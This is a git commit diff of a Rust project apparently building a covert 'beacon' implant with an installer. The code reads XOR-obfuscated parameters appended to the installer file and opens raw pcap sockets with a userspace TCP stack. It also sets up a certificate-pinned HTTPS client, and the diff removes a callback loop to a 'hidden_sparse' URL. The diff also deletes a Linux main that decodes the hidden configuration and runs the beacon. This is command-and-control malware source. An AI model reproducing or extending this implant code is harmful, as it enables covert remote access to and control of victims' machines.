fix: everything builds
made it also possible to download individual beacons as opposed to just the installer, to provide more options and make it easier to test
This commit is contained in:
@@ -20,10 +20,9 @@ tower-service = "0.3.3"
|
||||
futures = "0.3.31"
|
||||
simple_logger = "5.0.0"
|
||||
http = "1.2.0"
|
||||
bytes = "1.10.0"
|
||||
http-body-util = "0.1.2"
|
||||
|
||||
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
packets = { version = "0.1.0", path = "../packets" }
|
||||
nl-sys = { version = "0.1.0", path = "../nl-sys" }
|
||||
bytes = "1.10.0"
|
||||
http-body-util = "0.1.2"
|
||||
|
||||
@@ -23,7 +23,9 @@ pub struct BeaconInterface {
|
||||
|
||||
#[async_trait::async_trait]
|
||||
pub trait BeaconAdapter {
|
||||
type Error: error::AdapterError + Send + Sync;
|
||||
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError>;
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
|
||||
}
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
use std::{future::Future, pin::Pin, task::{self, Poll}};
|
||||
|
||||
use futures::stream::StreamExt;
|
||||
use http::Uri;
|
||||
use http_body_util::{Empty, BodyExt};
|
||||
use hyper::Request;
|
||||
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
|
||||
use rustls::RootCertStore;
|
||||
use tower_service::Service;
|
||||
@@ -26,7 +23,7 @@ where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
|
||||
{
|
||||
type Response = TokioIo<tcp::NetInterfaceHandle>;
|
||||
type Error = error::BeaconError;
|
||||
type Error = error::BeaconError<T::Error>;
|
||||
type Future = Pin<Box<
|
||||
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
|
||||
>>;
|
||||
@@ -48,12 +45,14 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn perform_callback<T>(
|
||||
pub async fn obtain_https_client<T, B>(
|
||||
adapter: &T,
|
||||
parameters: &Parameters,
|
||||
) -> Result<(), error::BeaconError>
|
||||
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
B: hyper::body::Body + Send,
|
||||
<B as hyper::body::Body>::Data: Send
|
||||
{
|
||||
let server_cert = rustls::pki_types::CertificateDer::from(
|
||||
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
|
||||
@@ -93,17 +92,5 @@ where
|
||||
let client = Client::builder(TokioExecutor::new())
|
||||
.build(https);
|
||||
|
||||
for _ in 1..5 {
|
||||
let req = Request::builder()
|
||||
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
|
||||
.body(Empty::<bytes::Bytes>::new())?;
|
||||
let resp = client.request(req).await?;
|
||||
|
||||
println!("{:?} {:?}", resp.version(), resp.status());
|
||||
let body = resp.into_body();
|
||||
let body = body.collect().await;
|
||||
println!("{:?}", body);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Ok(client)
|
||||
}
|
||||
|
||||
@@ -1,7 +1,12 @@
|
||||
use thiserror::Error;
|
||||
|
||||
pub trait AdapterError: std::error::Error {}
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum BeaconError {
|
||||
pub enum BeaconError<T>
|
||||
where
|
||||
T: AdapterError,
|
||||
{
|
||||
#[error("io error")]
|
||||
Io(#[from] std::io::Error),
|
||||
#[error("pcap error")]
|
||||
@@ -14,8 +19,6 @@ pub enum BeaconError {
|
||||
NoDefaultRoute,
|
||||
#[error("connection error")]
|
||||
Connect(#[from] smoltcp::socket::tcp::ConnectError),
|
||||
#[error("netlink error")]
|
||||
Nl(#[from] nl_sys::error::Error),
|
||||
#[error("http comms error")]
|
||||
Http(#[from] http::Error),
|
||||
#[error("uri parse error")]
|
||||
@@ -24,4 +27,6 @@ pub enum BeaconError {
|
||||
HyperError(#[from] hyper_util::client::legacy::Error),
|
||||
#[error("rustls")]
|
||||
Rustls(#[from] rustls::Error),
|
||||
#[error("adapter error")]
|
||||
Adapter(#[from] T),
|
||||
}
|
||||
|
||||
@@ -8,11 +8,10 @@ pub mod adapter;
|
||||
pub mod error;
|
||||
pub use error::BeaconError;
|
||||
|
||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError>
|
||||
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
|
||||
where
|
||||
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
|
||||
{
|
||||
callback::perform_callback(&host_adapter, ¶ms).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,113 +0,0 @@
|
||||
use std::{io::SeekFrom, net::Ipv4Addr};
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncSeekExt};
|
||||
|
||||
use nl_sys::netlink;
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_beacon::{
|
||||
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
|
||||
error,
|
||||
};
|
||||
|
||||
#[derive(Clone)]
|
||||
struct LinuxAdapter;
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl BeaconAdapter for LinuxAdapter {
|
||||
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
|
||||
interface.name.clone()
|
||||
}
|
||||
|
||||
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError> {
|
||||
let nlsock = netlink::Socket::new()?;
|
||||
|
||||
let routes = nlsock.get_routes()?;
|
||||
let links = nlsock.get_links()?;
|
||||
let links_vec = links.iter().collect::<Vec<_>>();
|
||||
|
||||
Ok(BeaconNetworkingInfo {
|
||||
routes: routes
|
||||
.iter()
|
||||
.filter_map(|r| {
|
||||
let dst = r.dst()?;
|
||||
let dst4: Ipv4Addr = (&dst).try_into().ok()?;
|
||||
|
||||
let next_hop = r.nexthop(0)?;
|
||||
let gateway = next_hop.gateway()?;
|
||||
let gateway4: Ipv4Addr = (&gateway).try_into().ok()?;
|
||||
let gateway_int = u32::from(gateway4);
|
||||
|
||||
let src_cidr = routes.iter().find_map(|r| {
|
||||
let dst = r.dst()?;
|
||||
let dst4: Ipv4Addr = (&dst).try_into().ok()?;
|
||||
|
||||
if dst.cidrlen() == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mask = (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen()))
|
||||
.0
|
||||
.overflowing_shl(32 - dst.cidrlen())
|
||||
.0;
|
||||
|
||||
if (mask & u32::from(dst4)) == (mask & gateway_int) {
|
||||
Some(dst.cidrlen())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
})?;
|
||||
|
||||
Some(BeaconRoute {
|
||||
network: (dst4, dst.cidrlen() as u8),
|
||||
gateway: (gateway4, src_cidr as u8),
|
||||
interface_index: links_vec
|
||||
.iter()
|
||||
.position(|l| l.ifindex() == next_hop.ifindex())?,
|
||||
})
|
||||
})
|
||||
.collect(),
|
||||
interfaces: links
|
||||
.iter()
|
||||
.filter_map(|l| {
|
||||
let mac_addr = l.addr().hw_address();
|
||||
|
||||
Some(BeaconInterface {
|
||||
name: l.name().as_bytes().to_owned(),
|
||||
mtu: (l.mtu() & 0xFFFF) as u16,
|
||||
mac_addr: mac_addr.try_into().ok()?,
|
||||
})
|
||||
})
|
||||
.collect(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), sparse_beacon::BeaconError> {
|
||||
let installer = std::env::args()
|
||||
.skip(1)
|
||||
.next()
|
||||
.expect("Could not get a reference to a sparse installer");
|
||||
let mut installer_file = tokio::fs::OpenOptions::new()
|
||||
.read(true)
|
||||
.open(installer)
|
||||
.await?;
|
||||
|
||||
let parameters_size = std::mem::size_of::<Parameters>() as i64;
|
||||
|
||||
installer_file.seek(SeekFrom::End(-parameters_size)).await?;
|
||||
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
|
||||
installer_file.read_to_end(&mut parameters_buffer).await?;
|
||||
|
||||
for b in parameters_buffer.iter_mut() {
|
||||
*b = *b ^ (XOR_KEY as u8);
|
||||
}
|
||||
|
||||
let parameters: Parameters =
|
||||
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
|
||||
|
||||
sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -18,7 +18,7 @@ impl RawSocket {
|
||||
a_interface: &adapter::BeaconInterface,
|
||||
promisc: bool,
|
||||
port: u16,
|
||||
) -> Result<Self, error::BeaconError> {
|
||||
) -> Result<Self, error::BeaconError<T::Error>> {
|
||||
let name_raw = T::interface_name_from_interface(&a_interface);
|
||||
let name = std::str::from_utf8(&name_raw)?;
|
||||
let mut lower = Interface::new(name)?;
|
||||
|
||||
@@ -150,7 +150,7 @@ impl connect::Connection for NetInterfaceHandle {
|
||||
pub async fn setup_network<T>(
|
||||
adapter: T,
|
||||
parameters: Parameters,
|
||||
) -> Result<NetInterfaceHandle, error::BeaconError>
|
||||
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
|
||||
where
|
||||
T: adapter::BeaconAdapter + Clone + Send + 'static,
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user